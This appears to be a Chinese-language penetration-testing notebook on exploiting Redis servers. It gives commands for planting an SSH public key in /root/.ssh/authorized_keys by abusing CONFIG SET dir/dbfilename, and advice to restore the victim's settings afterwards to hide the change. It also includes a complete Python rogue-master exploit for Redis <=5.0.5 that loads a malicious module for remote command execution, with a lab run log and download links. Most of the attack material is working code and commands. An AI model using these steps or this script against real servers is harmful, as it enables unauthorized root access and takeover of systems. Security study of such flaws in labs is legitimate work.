Redis-漏洞
- Redis-漏洞
-
- 工具
- 利用-持久化
- ssh密钥写入【cron利用失败】
-
- 生成ssh密钥
- [ssh密钥 写入 到 Redis 内存中](#ssh密钥 写入 到 Redis 内存中)
- 设置:存储目录、存储名称、保存
- [判断 Redis 是否以 root 运行](#判断 Redis 是否以 root 运行)
- [Redis(<=5.0.5) RCE](#Redis(<=5.0.5) RCE)
Redis-漏洞
工具
安装redis-cli客户端连接
Windows 版 redis-cli(非官方)GitHub / tporadowski / redis:
text-plain
https://github.com/tporadowski/redis/releases
建议下载免安装版本:Redis-x64-5.0.14.1.zip
zip下载解压后,建议设置环境遍历,方便运行
连接Redis服务器
text-plain
redis-cli -h [IP] -p [port] -a [password]
-h:服务器地址
-p:Redis运行端口【默认6379】
-a:Redis服务器密码【默认为空】
连上服务器后先 PING一下看看通联情况
利用-持久化
查看持久化机制
Redis 有 两种持久化机制 :1️⃣ RDB(快照)2️⃣AOF(日志)
RDB 写的是"当前内存里的所有数据"
AOF 写的是"文本形式的命令"
查看是否开启【RDB】持久化
如果save值为空,则表示没启动
text-plain
CONFIG GET save
查询结果
- 900 秒内有 1 次写 → 保存
- 300 秒内有 10 次写 → 保存
- 60 秒内有 10000 次写 → 保存
text-plain
127.0.0.1:6379> CONFIG GET save
1) "save"
2) "900 1 300 10 60 10000"
查看保存路径和文件名
text-plain
CONFIG GET dbfilename
CONFIG GET dir
查询结果
- 保存文件名:
dump.rdb - 保存目录:
/tmp/redis/redis/redis-5.0.14
text-plain
192.168.75.131:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"
192.168.75.131:6379> CONFIG GET dir
1) "dir"
2) "/tmp/redis/redis/redis-5.0.14"
查看是否开启【AOF】持久化
如果appendonly值为no,则表示没启动
text-plain
CONFIG GET appendonly
查看存储策略
| 策略 | 含义 | 安全性 | 性能 |
|---|---|---|---|
| always | 每次写都刷盘 | 最高 | 最慢 |
| everysec | 每秒刷一次 | 推荐 | 平衡 |
| no | OS 决定 | 最差 | 最快 |
text-plain
CONFIG GET appendfsync
查看保存文件名,可能查不到
text-plain
CONFIG GET appendfilename
ssh密钥写入【cron利用失败】
生成ssh密钥
本地生成SSH密钥对(如果已有可跳过)
- 公钥【放服务器】:id_rsa_ssh.pub
- 私钥【连服务器】:id_rsa_ssh
text-plain
ssh-keygen -t rsa -f id_rsa_ssh
ssh密钥 写入 到 Redis 内存中
ssh和Cron都是逐行扫描密钥、忽略二进制和错误格式的数据,并且没有报错提示,所以ssh读取密钥的时候,乱码会被自动忽略
写入的key名称别重复,或者被覆盖
text-plain
set [key] "\n\\n authorized_keys \n\\n"
设置:存储目录、存储名称、保存
RDB
记得把人家原来的存储位置和存储文件名改回去
查看持久化目录【RDB和AOF都是使用一个目录存储】
text-plain
config get dir
查看持久化文件名称
text-plain
config get dbfilename
修改持久化目录
这里演示的是root,记得改成对于的用户名,并且使用该用户名+密钥登陆
不知道用户名称可以使用脚本破解
text-plain
config set dir /root/.ssh/
config set dir /usr/local/zhuzi/soft/redis/redis-8.2.2/bin/bin
报错解析
| 报错内容 | 报错解释 |
| (error) ERR Changing directory: Permission denied | (错误)更改目录时出错:权限被拒绝 |
| (error) ERR Changing directory: No such file or directory | 报错:(错误)更改目录时出错:没有这样的文件或目录 |
| (error) ERR unknown command 'CONFIG' | 命令被 禁用或重命名 |
| (error) ERR CONFIG SET failed (possibly related to protected-mode) | protected-mode 开启或者Redis 判断该操作具有风险 |
| (error) ERR Changing directory: Operation not permitted | OS 层拒绝(非文件权限问题) |
修改持久化文件名称
text-plain
config set dbfilename authorized_keys
手动触发存储
text-plain
save # 同步(阻塞)
bgsave # 异步(推荐)
记得把人家原来的存储位置和存储文件名改回去
AOF
记得把人家原来的存储位置和存储文件名改回去
查看持久化目录【RDB和AOF都是使用一个目录存储】
text-plain
CONFIG GET dir
查看持久化文件名称
text-plain
CONFIG GET appendfilename
如果报错显示如下,说明修改不了,无法利用
text-plain
192.168.75.131:6379> CONFIG GET appendfilename
(empty list or set)
修改持久化目录
这里演示的是root,记得改成对于的用户名,并且使用该用户名+密钥登陆
text-plain
config set dir /root/.ssh/
报错解析
| 报错内容 | 报错解释 |
| (error) ERR Changing directory: Permission denied | (错误)更改目录时出错:权限被拒绝 |
| (error) ERR Changing directory: No such file or directory | 报错:(错误)更改目录时出错:没有这样的文件或目录 |
| (error) ERR unknown command 'CONFIG' | 命令被 禁用或重命名 |
| (error) ERR CONFIG SET failed (possibly related to protected-mode) | protected-mode 开启或者Redis 判断该操作具有风险 |
| (error) ERR Changing directory: Operation not permitted | OS 层拒绝(非文件权限问题) |
修改持久化文件名称
text-plain
config set dbfilename authorized_keys
手动触发存储
text-plain
BGREWRITEAOF #触发 AOF 重写
SET aof_test 1 #触发 AOF 缓冲区刷盘
判断 Redis 是否以 root 运行
从操作系统进程层面看(最可靠)
第一种命令
text-plain
ps aux | grep redis
最左边那一列就是运行 Redis 的系统用户
text-plain
root 1234 0.2 ... redis-server 127.0.0.1:6379
第二种命令
text-plain
ps -o user,pid,cmd -C redis-server
这条命令的好处是:
- 不会被
grep redis的自身进程干扰 - 输出更干净,适合写报告
text-plain
>ps -o user,pid,cmd -C redis-server
USER PID CMD
xk 13346 redis-server *:6379
Redis(<=5.0.5) RCE
准备脚本和exp.so文件
两个终端需要互相访问,最后的"id"是执行的命令
text-plain
python3 redis-master.py -r 被攻击方ip -p 6379 -L 攻击方ip -P 8888 -f exp.so -c "id"
结果如下
text-plain
F:\XiaZai\redis-rogue-getshell-master>python redis-master.py -r 192.168.75.131 -p 6379 -L 192.168.75.1 -P 8888 -f exp.so -c "whoami"
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$12\r\n192.168.75.1\r\n$4\r\n8888\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'*1\r\n$4\r\nPING\r\n'
>> receive data: b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
>> receive data: b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
>> receive data: b'*3\r\n$5\r\nPSYNC\r\n$40\r\n45730e185f41518fa29df21f4beb23f71b7ca557\r\n$1\r\n1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n'
>> receive data: b'$4\r\nNxk\n\r\n'
Nxk
>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'
>> receive data: b'+OK\r\n'
F:\XiaZai\redis-rogue-getshell-master>
python脚本
下载地址
text-plain
https://github.com/vulhub/redis-rogue-getshell?tab=readme-ov-file
文件内容如下
text-plain
#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"
class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]
return data.strip().split()
def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break
self.finish()
def finish(self):
self.request.close()
class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True
def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload
class RedisClient(object):
def __init__(self, rhost, rport):
self.client = socket.create_connection((rhost, rport), timeout=10)
def send(self, data):
data = self.encode(data)
self.client.send(data)
logging.info("send data: %r", data)
return self.recv()
def recv(self, count=65535):
data = self.client.recv(count)
logging.info("receive data: %r", data)
return data
def encode(self, data):
if isinstance(data, bytes):
data = data.split()
args = [b'*', str(len(data)).encode()]
for arg in data:
args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])
args.append(DELIMITER)
return b''.join(args)
def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore')
offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
return data.decode(errors='ignore')
def exploit(rhost, rport, lhost, lport, expfile, command, auth):
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())
client = RedisClient(rhost, rport)
lhost = lhost.encode()
lport = str(lport).encode()
command = command.encode()
if auth:
client.send([b'AUTH', auth.encode()])
client.send([b'SLAVEOF', lhost, lport])
client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])
time.sleep(2)
server.handle_request()
time.sleep(2)
client.send([b'MODULE', b'LOAD', b'./exp.so'])
client.send([b'SLAVEOF', b'NO', b'ONE'])
client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
resp = client.send([b'system.exec', command])
print(decode_command_line(resp))
client.send([b'MODULE', b'UNLOAD', b'system'])
def main():
parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
parser.add_argument("-p", "--rport", dest="rport", type=int,
help="target redis port, default 6379", default=6379)
parser.add_argument("-L", "--lhost", dest="lhost", type=str,
help="rogue server ip", required=True)
parser.add_argument("-P", "--lport", dest="lport", type=int,
help="rogue server listen port, default 21000", default=21000)
parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')
parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
options = parser.parse_args()
filename = options.file
if not os.path.exists(filename):
logging.info("Where you module? ")
sys.exit(1)
exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth)
if __name__ == '__main__':
main()
exp.so文件
下载地址
text-plain
https://github.com/n0b0dyCN/redis-rogue-server